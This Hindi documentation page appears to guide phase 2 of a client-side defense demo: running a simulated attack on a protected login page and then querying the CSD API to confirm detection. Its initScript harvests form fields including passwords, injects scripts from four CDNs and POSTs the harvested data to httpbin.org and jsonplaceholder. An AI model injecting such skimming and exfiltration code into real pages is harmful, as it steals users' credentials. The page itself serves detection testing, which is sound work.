इसे छोड़कर कंटेंट पर जाएं

चरण 2 — आक्रमण

चरण 2 संरक्षित एप्लिकेशन के विरुद्ध अनुकरणीय आक्रमण ट्रैफ़िक उत्पन्न करता है और पुष्टि करता है कि CSD ने इसे डिटेक्ट किया। आगे बढ़ने से पहले चरण 1 पूर्ण होना चाहिए — सभी स्टेप 7 की जाँचें PASS होनी चाहिए।

स्टेप 8: आक्रमण अनुकरण

Section titled “स्टेप 8: आक्रमण अनुकरण”

इन्फ्रास्ट्रक्चर सत्यापित होने के बाद (सभी चरण 1 स्टेप 7 जाँचें PASS), CSD डिटेक्शन उत्पन्न करने के लिए आक्रमण अनुकरण स्क्रिप्ट चलाएँ। स्क्रिप्ट ट्रिगर डिटेक्शन गाइड और आक्रमण स्क्रिप्ट लाइब्रेरी में परिभाषित हैं।

AI-स्वचालित एक्ज़ीक्यूशन

Section titled “AI-स्वचालित एक्ज़ीक्यूशन”

ब्राउज़र ऑटोमेशन उपकरण वाले AI असिस्टेंट आक्रमण अनुकरण को प्रोग्रामेटिक रूप से चलाते हैं:

  1. initScript के साथ नेविगेट करें — पहले about:blank पर नेविगेट करें ताकि एक साफ़ डॉक्युमेंट संदर्भ सुनिश्चित हो (पिछले नेविगेशन से stale initScript से बचाव), फिर navigate_page से http://$F5XC_DOMAINNAME/#/login पर एक initScript के साथ नेविगेट करें जो zone.js के पैच करने से पहले native setInterval, clearInterval, fetch, और console.log सहेजता है, लॉगिन फॉर्म फील्ड्स के लिए पोल करता है, native HTMLInputElement.prototype.value setter के माध्यम से क्रेडेंशियल भरता है, और तुरंत Combined Detection Script को inline निष्पादित करता है। नीचे दिए verbatim initScript का उपयोग करें।
  2. वेलकम बैनर खारिज करें — Welcome Banner बंद करने के लिए Escape के साथ press_key करें। बाद की विज़िट में बैनर नहीं आ सकता (कुकीज़ persisted हैं)। कुकी सहमति डायलॉग Escape key द्वारा स्वचालित रूप से खारिज हो जाता है।
  3. पूर्णता की प्रतीक्षा करें — सभी CDN स्क्रिप्ट load/error कॉलबैक और fetch promise resolutions पूर्ण होने के लिए 10 सेकंड प्रतीक्षा करें।
  4. साक्ष्य कैप्चर करें[CSD Demo] Simulation complete और CDN लोड परिणामों की जाँच के लिए list_console_messages; HTTP स्टेटस कोड (200/201 सफलता के लिए, pending held अनुरोधों के लिए) सत्यापित करने के लिए script और fetch प्रकारों तक फ़िल्टर किए गए list_network_requests

चरण 2 initScript (verbatim — बिल्कुल इसी तरह उपयोग करें):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('#email');
var passEl = document.querySelector('#password');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

मैन्युअल एक्ज़ीक्यूशन

Section titled “मैन्युअल एक्ज़ीक्यूशन”

ब्राउज़र ऑटोमेशन उपकरण के बिना ऑपरेटर स्टेप्स मैन्युअल रूप से निष्पादित करते हैं:

  1. नेविगेट करें संरक्षित एप्लिकेशन लॉगिन पेज पर: http://xF5XC_DOMAINNAMEx/#/login
  2. डमी क्रेडेंशियल दर्ज करें — Email फ़ील्ड में test@example.com और Password फ़ील्ड में P@ssword123 टाइप करें (फॉर्म सबमिट न करें)
  3. DevTools खोलेंF12 दबाएँ और Console टैब पर स्विच करें
  4. Combined Detection Script चलाएँट्रिगर डिटेक्शन — Combined Simulation Script चलाएँ से स्क्रिप्ट कंसोल में पेस्ट करें और Enter दबाएँ
  5. कंसोल आउटपुट सत्यापित करें — पुष्टि करें कि [CSD Demo] phased आउटपुट दिखाता है: फील्ड हार्वेस्टिंग, 4 CDN डोमेन से स्क्रिप्ट इंजेक्शन, और 2 endpoints पर डेटा exfiltration

क्या ट्रिगर होता है

Section titled “क्या ट्रिगर होता है”
सिग्नलव्यवहारडिटेक्शन
फॉर्म फील्ड हार्वेस्टिंगemail और password इनपुट वैल्यू पढ़ता हैसंवेदनशील फॉर्म फील्ड पढ़ने वाली स्क्रिप्ट — High Risk के रूप में फ्लैग
स्क्रिप्ट इंजेक्शनcdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io से 4 <script> टैग इंजेक्ट करता है4 नए third-party स्क्रिप्ट डोमेन तक डिटेक्ट (CDN उपलब्धता अलग-अलग हो सकती है)
डेटा exfiltrationwww.httpbin.org और jsonplaceholder.typicode.com को fetch के माध्यम से हार्वेस्ट किया गया डेटा भेजता हैबाहरी डोमेन पर नेटवर्क कॉल

AI असिस्टेंट को निम्नलिखित रिपोर्ट करना चाहिए। AI-स्वचालित एक्ज़ीक्यूशन के लिए, साक्ष्य list_console_messages के माध्यम से प्रोग्रामेटिक रूप से कैप्चर किया जाता है (initScript का polling फ़ंक्शन परिणाम कंसोल में लॉग करता है)। मैन्युअल एक्ज़ीक्यूशन के लिए, ऑपरेटर ब्राउज़र कंसोल आउटपुट पढ़ता है।

जाँचअपेक्षितस्थिति
लॉगिन पेज लोडhttp://$F5XC_DOMAINNAME/#/login पर 200 OKPASS / FAIL
कंसोल स्क्रिप्ट निष्पादितकंसोल आउटपुट में [CSD Demo] Simulation completePASS / FAIL
फील्ड हार्वेस्टकंसोल आउटपुट में Count > 0PASS
स्क्रिप्ट इंजेक्टकंसोल आउटपुट में 1–4 CDN डोमेन (कुछ resource errors के साथ विफल हो सकते हैं)यदि कोई CDN डोमेन दिखाई दे तो PASS
Exfil चैनलकंसोल आउटपुट में 2 fetch POST प्रयासPASS

स्टेप 9: API के माध्यम से डिटेक्शन सत्यापन

Section titled “स्टेप 9: API के माध्यम से डिटेक्शन सत्यापन”

डिटेक्शन की पुष्टि के लिए CSD API endpoints क्वेरी करें। polling loop का उपयोग करें: हर 60 सेकंड में /detected_domains क्वेरी करें; जैसे ही DET-3 पास हो आगे बढ़ें। यदि 10 मिनट के बाद DET-3 पास नहीं होता, CSD कॉन्फ़िगरेशन जाँचें। यदि 30 मिनट के बाद DET-3 पास नहीं होता, रुकें और ऑपरेटर को रिपोर्ट करें। ये endpoints API संदर्भ में दस्तावेज़ीकृत हैं और पिछले स्टेप्स की तरह ही प्रमाणीकरण और namespace का उपयोग करते हैं।

डिटेक्ट की गई स्क्रिप्ट

Section titled “डिटेक्ट की गई स्क्रिप्ट”

पिछले 24 घंटों में डिटेक्ट की गई स्क्रिप्ट के लिए क्वेरी करें:

Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s -X POST \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
-H "Content-Type: application/json" \
-d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \
| jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'
फ़ील्डअपेक्षितस्थिति
total> 0 (स्क्रिप्ट डिटेक्ट)यदि > 0 तो PASS; 0 लेकिन /detected_domains exfil डोमेन दिखाए तो PENDING
स्क्रिप्ट नामscript_name में CDN डोमेन (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) शामिलयदि इंजेक्ट किए CDN डोमेन दिखाई दें तो PASS

डिटेक्ट किए गए डोमेन

Section titled “डिटेक्ट किए गए डोमेन”
Terminal window
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \
| jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'
फ़ील्डअपेक्षितस्थिति
total_domains> 0यदि > 0 तो PASS
डोमेन सूचीCDN और exfil डोमेन शामिलयदि अपेक्षित डोमेन दिखाई दें तो PASS
Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \
| jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'
फ़ील्डअपेक्षितस्थिति
total> 0यदि > 0 तो PASS; 0 लेकिन DET-3 पास हो तो PENDING
nameemail, password शामिलयदि संवेदनशील फील्ड दिखाई दें तो PASS
sensitivityemail/password फील्ड के लिए Sensitiveयदि ML ने सही वर्गीकरण किया तो PASS

चरण 2 साक्ष्य सारांश

Section titled “चरण 2 साक्ष्य सारांश”

सभी डिटेक्शन क्वेरी के बाद, अंतिम डिटेक्शन स्थिति प्रस्तुत करें:

Test IDजाँचस्थिति
DET-1स्क्रिप्ट डिटेक्ट (/scripts endpoint)यदि > 0 तो PASS; खाली लेकिन DET-3 पास हो तो PENDING
DET-2CDN डोमेन डिटेक्टPASS / FAIL
DET-3Exfil डोमेन डिटेक्ट (/detected_domains)प्राथमिक संकेतक — यदि www.httpbin.org या jsonplaceholder.typicode.com दिखाई दें तो PASS
DET-4फॉर्म फील्ड डिटेक्ट (/formFields endpoint)यदि > 0 तो PASS; खाली लेकिन DET-3 पास हो तो PENDING

चरण 2 पूर्ण। mitigation नियम लागू करने और डोमेन ब्लॉक सत्यापित करने के लिए चरण 3 — Mitigate पर जाएँ।